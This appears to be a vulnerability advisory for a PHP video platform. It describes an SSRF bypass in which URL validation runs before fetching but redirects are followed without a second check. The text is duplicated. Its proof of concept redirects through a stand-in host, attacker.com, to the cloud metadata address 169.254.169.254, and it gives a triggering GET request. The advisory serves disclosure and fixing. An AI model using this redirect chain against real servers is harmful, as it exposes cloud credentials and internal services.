Summary
isSSRFSafeURL() validates URLs against private/reserved IP ranges before fetching, but url_get_contents() follows HTTP redirects without re-validating the redirect target. An attacker can bypass SSRF protection by redirecting from a public URL to an internal target.
Root Cause
Check-time: isSSRFSafeURL() at objects/functions.php:4066 resolves the hostname and validates the IP.
Use-time: url_get_contents() at objects/functions.php:1990 calls file_get_contents() with PHP's default follow_location=1 — redirects are followed without re-validation. The wget fallback at line 2047 also follows redirects by default.
Affected endpoint: objects/aVideoEncoderReceiveImage.json.php at lines 67-68, 107-108, 135-136, 160-161:
if (isValidURL($_REQUEST['downloadURL_image']) && isSSRFSafeURL($_REQUEST['downloadURL_image'])) {
$content = url_get_contents($_REQUEST['downloadURL_image']);
Proof of Concept
- Attacker sets up
https://attacker.com/redir to respond with 302 Location: http://169.254.169.254/latest/meta-data/
- Authenticated user (with upload+edit permissions) triggers image download:
GET /objects/aVideoEncoderReceiveImage.json.php?downloadURL_image=https://attacker.com/redir&...
isSSRFSafeURL() resolves attacker.com → public IP → passes validation
url_get_contents() follows 302 redirect to 169.254.169.254 → SSRF
Impact
- Cloud metadata access (AWS IMDSv1, GCP, Azure)
- Internal network service access
- Bypasses the existing SSRF protection that was added to prevent exactly this class of attack
Note
The curl path in url_get_contents() does NOT set CURLOPT_FOLLOWLOCATION so it is not affected. Only the file_get_contents and wget fallback paths are vulnerable.
Suggested Fix
Set follow_location to 0 in the stream context and handle redirects manually with re-validation, or add isSSRFSafeURL() check inside url_get_contents() after resolving the final URL.
References
Summary
isSSRFSafeURL()validates URLs against private/reserved IP ranges before fetching, buturl_get_contents()follows HTTP redirects without re-validating the redirect target. An attacker can bypass SSRF protection by redirecting from a public URL to an internal target.Root Cause
Check-time:
isSSRFSafeURL()atobjects/functions.php:4066resolves the hostname and validates the IP.Use-time:
url_get_contents()atobjects/functions.php:1990callsfile_get_contents()with PHP's defaultfollow_location=1— redirects are followed without re-validation. The wget fallback at line 2047 also follows redirects by default.Affected endpoint:
objects/aVideoEncoderReceiveImage.json.phpat lines 67-68, 107-108, 135-136, 160-161:Proof of Concept
https://attacker.com/redirto respond with302 Location: http://169.254.169.254/latest/meta-data/isSSRFSafeURL()resolvesattacker.com→ public IP → passes validationurl_get_contents()follows 302 redirect to169.254.169.254→ SSRFImpact
Note
The curl path in
url_get_contents()does NOT setCURLOPT_FOLLOWLOCATIONso it is not affected. Only thefile_get_contentsandwgetfallback paths are vulnerable.Suggested Fix
Set
follow_locationto0in the stream context and handle redirects manually with re-validation, or addisSSRFSafeURL()check insideurl_get_contents()after resolving the final URL.References